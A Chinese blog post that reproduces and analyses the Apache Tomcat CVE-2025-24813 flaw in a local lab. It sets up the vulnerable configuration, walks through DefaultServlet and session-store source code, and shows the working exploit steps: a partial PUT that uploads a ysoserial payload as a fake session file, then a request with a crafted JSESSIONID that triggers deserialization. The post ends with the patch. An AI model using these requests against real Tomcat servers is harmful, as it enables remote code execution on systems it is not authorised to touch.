前言

最近看到的漏洞,还涉及到Java、Tomcat和session反序列化,不得不学习了。

还是AI助我。


影响版本

先问问AI受影响版本然后再搭建环境:

该漏洞影响以下Apache Tomcat版本:

​9.x系列:9.0.0.M1至9.0.98
​10.x系列:10.1.0.M1至10.1.34
​11.x系列:11.0.0.M1至11.0.2
(完整列表可参考Apache官方公告)

漏洞原理

来自AI总结。

文件名处理逻辑缺陷

当Tomcat的DefaultServlet启用写入功能时,处理PUT请求会将用户提供的文件路径中的斜杠/替换为点号.,并将文件写入临时目录(默认为$CATALINA_BASE/temp)。例如,攻击者构造的恶意路径/WEB-INF/web.xml会被转换为WEB-INF.web.xml,绕过目录层级限制。

会话持久化与反序列化链结合

若应用同时满足以下条件,攻击者可上传恶意序列化文件至会话存储目录,并通过JSESSIONID触发反序列化操作实现RCE:

  1. ​启用DefaultServlet写入功能​(默认禁用)
  2. 支持Partial PUT请求​(默认启用)
  3. ​使用Tomcat默认会话存储路径​(需额外配置)
  4. ​依赖存在反序列化漏洞的库​(如commons-collections)

环境搭建

官方网站下载一个9.0.98版本的Tomcat作为漏洞环境,解压即用很方便。

根据漏洞原理,漏洞搭建还需要完成三个步骤。

启用会话持久化

修改conf/context.xml,添加一段:

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

此配置将Session数据存储在默认路径$CATALINA_BASE/work/Catalina/localhost/下。

开启DefaultServlet写入权限

修改conf/web.xml文件,找到DefaultServlet配置,添加一段:

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

此配置允许通过PUT方法写入文件。

引入反序列化漏洞

在lib目录下面放一个含有反序列化漏洞的jar文件,比如commons-collections的jar文件。

漏洞分析

先观察一下PUT请求的处理方式,找到DefaultServlet类的doPut函数,一进来就看到判断readOnly配置:

if (this.readOnly) {
    this.sendNotAllowed(req, resp);
}

如果将readOnly配置为了false,就会进入写入文件环节:

String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
Range range = this.parseContentRange(req, resp);
if (range != null) {
    InputStream resourceInputStream = null;

    try {
        if (range == IGNORE) {
            resourceInputStream = req.getInputStream();
        } else {
            File contentFile = this.executePartialPut(req, range, path);
            resourceInputStream = new FileInputStream(contentFile);
        }

        if (this.resources.write(path, resourceInputStream, true)) {
            if (resource.exists()) {
                resp.setStatus(204);
            } else {
                resp.setStatus(201);
            }
        }
        ...
    }
}

executePartialPut函数会替换访问路径中的斜杠/为点号.:

String convertedResourcePath = path.replace('/', '.');

再来摸索一下Tomcat和session机制,写一个简单的test.jsp文件,放到webapps/test目录下:

<%@ page contentType="text/html;charset=UTF-8" %>
<html>
<body>
    <!-- 存储Session -->
    <%
        session.setAttribute("count", 1);
    %>

    <!-- 获取Session -->
    <p>访问次数: <%= session.getAttribute("count") %></p>

    <!-- 删除Session -->
    <a href="logout.jsp">退出登录</a>
</body>
</html>

该jsp可以保存和读取session,带上JSESSIONID访问并保存好数据后,关闭Tomcat,Tomcat就会将session的内容序列化后保存到文件里,session文件路径为work/Catalina/localhost/test。

测试一下PUT方法:

PUT /test/xxxxx/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

test

然后在work/Catalina/localhost/test目录下就能看到.xxxxx.session文件了,由于PUT方式上传的虚假session文件跟正经的session文件都在同一个目录下,因此可以上传session,再设置JSESSIONID=.xxxxx来触发反序列化,但是session文件的格式看起来并不是简单的仅仅一个序列化对象,而是多种数据的结构体。

观察一下session的读取方式,根据修改了的配置文件,session持久化保存需要配置的类为PersistentManager和FileStore,将Tomcat的lib目录导入IDEA项目搜索一下就能找到类对应的字节码了。

找到FileStore类的save函数,关键代码如下:

FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());

try {
    ObjectOutputStream oos = new ObjectOutputStream(new BufferedOutputStream(fos));

    try {
        ((StandardSession)session).writeObjectData(oos);
    } catch (Throwable var9) {
        try {
            oos.close();
        } catch (Throwable var8) {
            var9.addSuppressed(var8);
        }

        throw var9;
    }

    oos.close();
}

使用StandardSession类的writeObjectData函数将session序列化后写入文件中,后面会进入到doWriteObject函数中:

protected void doWriteObject(ObjectOutputStream stream) throws IOException {
    stream.writeObject(this.creationTime);
    stream.writeObject(this.lastAccessedTime);
    stream.writeObject(this.maxInactiveInterval);
    stream.writeObject(this.isNew);
    stream.writeObject(this.isValid);
    stream.writeObject(this.thisAccessedTime);
    stream.writeObject(this.id);
    ...
}

可以看到,session文件中确实存在多种序列化数据,但是也可以看到序列化过程统一使用的是writeObject,无论是long还是其他类型的数据,也就是说我们可以不管它的结构,只需要在session文件中存放一个序列化对象,就能触发反序列化了。

再观察一下反序列化过程,找到doReadObject函数:

this.authType = null;
this.creationTime = (Long)stream.readObject();
this.lastAccessedTime = (Long)stream.readObject();
this.maxInactiveInterval = (Integer)stream.readObject();
this.isNew = (Boolean)stream.readObject();
this.isValid = (Boolean)stream.readObject();
this.thisAccessedTime = (Long)stream.readObject();
this.principal = null;

先readObject再强行类型转换,那思路通。

漏洞利用

先把带有反序列化漏洞的commons-collections.jar放到webapps/test/lib目录下,再使用ysoserial生成一个序列化数据文件,同时base64编码一下,结果试了一下都不成功。

只能开始尝试调试Tomcat了,在IDEA中新建一个webapp项目,然后引入Tomcat的lib目录,再把commons-collections.jar放到lib目录下,最后配置本地Tomcat启动。

根据启动时的命令行信息,IDEA启动的Tomcat工作目录在用户的\AppData\Local\JetBrains\IntelliJIdea2024.3\tomcat\目录下,部署的目录为tomcat_war_exploded,因此需要发包:

PUT /tomcat_war_exploded/xxxxx/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{base64decode(序列化数据)}}}}

然后在工作目录的work\Catalina\localhost\tomcat_war_exploded目录下能看到上传的session文件,也可以给class文件下断点调试了。

然后带上JSESSIONID访问并且调试一下:

GET /tomcat_war_exploded/ HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.xxxxx

发现问题:

java.io.StreamCorruptedException: invalid stream header: FFFE08E1

看起来是Windows的锅,确实看base64后的序列化数据开头就不对劲。

直接使用IDEA打开ysoserial,重新生成base64编码后的payload再次尝试:

ByteArrayOutputStream bos = new ByteArrayOutputStream();
Serializer.serialize(object, bos);
String serializedBytes = new String(Base64.getEncoder().encode(bos.toByteArray()));
System.out.println(serializedBytes);

成功触发反序列化漏洞。

漏洞修复

根据AI:

代码层修复细节
官方在DefaultServlet的doPut方法中增加安全检查,限制临时文件路径的生成规则,避免用户输入的/被替换为.后绕过目录限制。具体修改涉及对executepartialput方法的调用逻辑。

修改了executePartialPut函数:

File tempDir = (File)this.getServletContext().getAttribute("javax.servlet.context.tempdir");
File contentFile = File.createTempFile("put-part-", (String)null, tempDir);
RandomAccessFile randAccessContentFile = new RandomAccessFile(contentFile, "rw");

删掉了将/变成.的代码。


参考

Tomcat CVE-2025-24813 RCE复现(含环境下载地址)

汤姆猫最新CVE复现及分析


Web Java Tomcat

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

高版本下的JNDI注入学习